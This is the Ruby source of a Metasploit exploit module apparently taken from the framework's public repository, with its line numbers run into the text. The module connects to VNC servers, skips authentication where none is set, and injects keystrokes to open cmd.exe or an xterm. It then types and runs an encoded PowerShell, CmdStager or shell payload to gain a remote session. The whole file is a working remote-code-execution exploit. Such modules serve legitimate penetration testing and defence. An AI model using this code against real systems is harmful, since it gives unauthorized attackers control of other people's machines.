Path: blob/master/modules/exploits/multi/vnc/vnc_keyboard_exec.rb
32577 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##4require 'rex/exploitation'56class MetasploitModule < Msf::Exploit::Remote7Rank = GreatRanking8WINDOWS_KEY = "\xff\xeb"9ENTER_KEY = "\xff\x0d"1011include Msf::Exploit::Remote::Tcp12include Msf::Exploit::CmdStager13include Msf::Exploit::Powershell1415def initialize(info = {})16super(17update_info(18info,19'Name' => 'VNC Keyboard Remote Code Execution',20'Description' => %q{21This module exploits VNC servers by sending virtual keyboard keys and executing22a payload. On Windows systems a command prompt is opened and a PowerShell or CMDStager23payload is typed and executed. On Unix/Linux systems a xterm terminal is opened24and a payload is typed and executed.25},26'Author' => [ 'xistence <xistence[at]0x90.nl>' ],27'Privileged' => false,28'License' => MSF_LICENSE,29'Targets' => [30[ 'VNC Windows / Powershell', { 'Arch' => ARCH_X86, 'Platform' => 'win' } ],31[ 'VNC Windows / VBScript CMDStager', { 'Platform' => 'win' } ],32[ 'VNC Linux / Unix', { 'Arch' => ARCH_CMD, 'Platform' => 'unix' } ]33],34'References' => [35[ 'URL', 'http://www.jedi.be/blog/2010/08/29/sending-keystrokes-to-your-virtual-machines-using-X-vnc-rdp-or-native/'],36[ 'ATT&CK', Mitre::Attack::Technique::T1021_005_VNC ]37],38'DisclosureDate' => '2015-07-10',39'DefaultTarget' => 0,40'Notes' => {41'Reliability' => UNKNOWN_RELIABILITY,42'Stability' => UNKNOWN_STABILITY,43'SideEffects' => UNKNOWN_SIDE_EFFECTS44}45)46)4748register_options(49[50Opt::RPORT(5900),51OptString.new('PASSWORD', [ false, 'The VNC password']),52OptInt.new('TIME_KBD_DELAY', [ true, 'Delay in milliseconds when typing long commands (0 to disable)', 50]),53OptInt.new('TIME_KBD_THRESHOLD', [ true, 'How many keystrokes between each delay in long commands', 50]),54OptInt.new('TIME_WAIT', [ true, 'Time to wait for payload to be executed', 20])55]56)57end5859def post_auth?60true61end6263def press_key(key)64keyboard_key = "\x04\x01" # Press key65keyboard_key << "\x00\x00\x00\x00" # Unknown / Unused data66keyboard_key << key # The keyboard key67# Press the keyboard key. Note: No receive is done as everything is sent in one long data stream68sock.put(keyboard_key)69end7071def release_key(key)72keyboard_key = "\x04\x00" # Release key73keyboard_key << "\x00\x00\x00\x00" # Unknown / Unused data74keyboard_key << key # The keyboard key75# Release the keyboard key. Note: No receive is done as everything is sent in one long data stream76sock.put(keyboard_key)77end7879def exec_command(command)80# Timing configuration: Typing a long command too fast may overload the tagret's keyboard buffer81delay_duration = datastore['TIME_KBD_DELAY']82delay_treshold = datastore['TIME_KBD_THRESHOLD']83delay_treshold = 0 if delay_treshold < 0 or delay_duration <= 084delay_duration = delay_duration.to_f / 100085# Break down command into a sequence of keypresses86values = command.chars.to_a87values.each_with_index do |value, index|88press_key("\x00#{value}")89release_key("\x00#{value}")90sleep(delay_duration) if delay_treshold > 0 and index % delay_treshold == 091end92press_key(ENTER_KEY)93end9495def start_cmd_prompt96print_status("#{rhost}:#{rport} - Opening Run command")97# Pressing and holding windows key for 1 second98press_key(WINDOWS_KEY)99Rex.select(nil, nil, nil, 1)100# Press the "r" key101press_key("\x00r")102# Now we can release both keys again103release_key("\x00r")104release_key(WINDOWS_KEY)105# Wait a second to open run command window106select(nil, nil, nil, 1)107exec_command('cmd.exe')108# Wait a second for cmd.exe prompt to open109Rex.select(nil, nil, nil, 1)110end111112def exploit113alt_key = "\xff\xe9"114f2_key = "\xff\xbf"115password = datastore['PASSWORD']116117connect118vnc = Rex::Proto::RFB::Client.new(sock, allow_none: false)119120unless vnc.handshake121fail_with(Failure::Unknown, "#{rhost}:#{rport} - VNC Handshake failed: #{vnc.error}")122end123124if password.nil?125print_status("#{rhost}:#{rport} - Bypass authentication")126# The following byte is sent in case the VNC server end doesn't require authentication (empty password)127sock.put("\x10")128else129print_status("#{rhost}:#{rport} - Trying to authenticate against VNC server")130if vnc.authenticate(password)131print_status("#{rhost}:#{rport} - Authenticated")132else133fail_with(Failure::NoAccess, "#{rhost}:#{rport} - VNC Authentication failed: #{vnc.error}")134end135end136137# Send shared desktop138unless vnc.send_client_init139fail_with(Failure::Unknown, "#{rhost}:#{rport} - VNC client init failed: #{vnc.error}")140end141142if target.name =~ /VBScript CMDStager/143start_cmd_prompt144print_status("#{rhost}:#{rport} - Typing and executing payload")145execute_cmdstager({ flavor: :vbs, linemax: 8100 })146# Exit the CMD prompt147exec_command('exit')148elsif target.name =~ /Powershell/149start_cmd_prompt150print_status("#{rhost}:#{rport} - Typing and executing payload")151command = cmd_psh_payload(payload.encoded, payload_instance.arch.first, { remove_comspec: true, encode_final_payload: true })152# Execute powershell payload and make sure we exit our CMD prompt153exec_command("#{command} && exit")154elsif target.name =~ /Linux/155print_status("#{rhost}:#{rport} - Opening 'Run Application'")156# Press the ALT key and hold it for a second157press_key(alt_key)158Rex.select(nil, nil, nil, 1)159# Press F2 to start up "Run application"160press_key(f2_key)161# Release ALT + F2162release_key(alt_key)163release_key(f2_key)164# Wait a second for "Run application" to start165Rex.select(nil, nil, nil, 1)166# Start a xterm window167print_status("#{rhost}:#{rport} - Opening xterm")168exec_command('xterm')169# Wait a second for "xterm" to start170Rex.select(nil, nil, nil, 1)171# Execute our payload and exit (close) the xterm window172print_status("#{rhost}:#{rport} - Typing and executing payload")173exec_command("nohup #{payload.encoded} &")174exec_command('exit')175end176177print_status("#{rhost}:#{rport} - Waiting for session...")178(datastore['TIME_WAIT']).times do179Rex.sleep(1)180181# Success! session is here!182break if session_created?183end184rescue ::Timeout::Error, Rex::ConnectionError, Rex::ConnectionRefused, Rex::HostUnreachable, Rex::ConnectionTimeout => e185fail_with(Failure::Unknown, "#{rhost}:#{rport} - #{e.message}")186ensure187disconnect188end189190def execute_command(cmd, _opts = {})191exec_command(cmd)192end193end194195196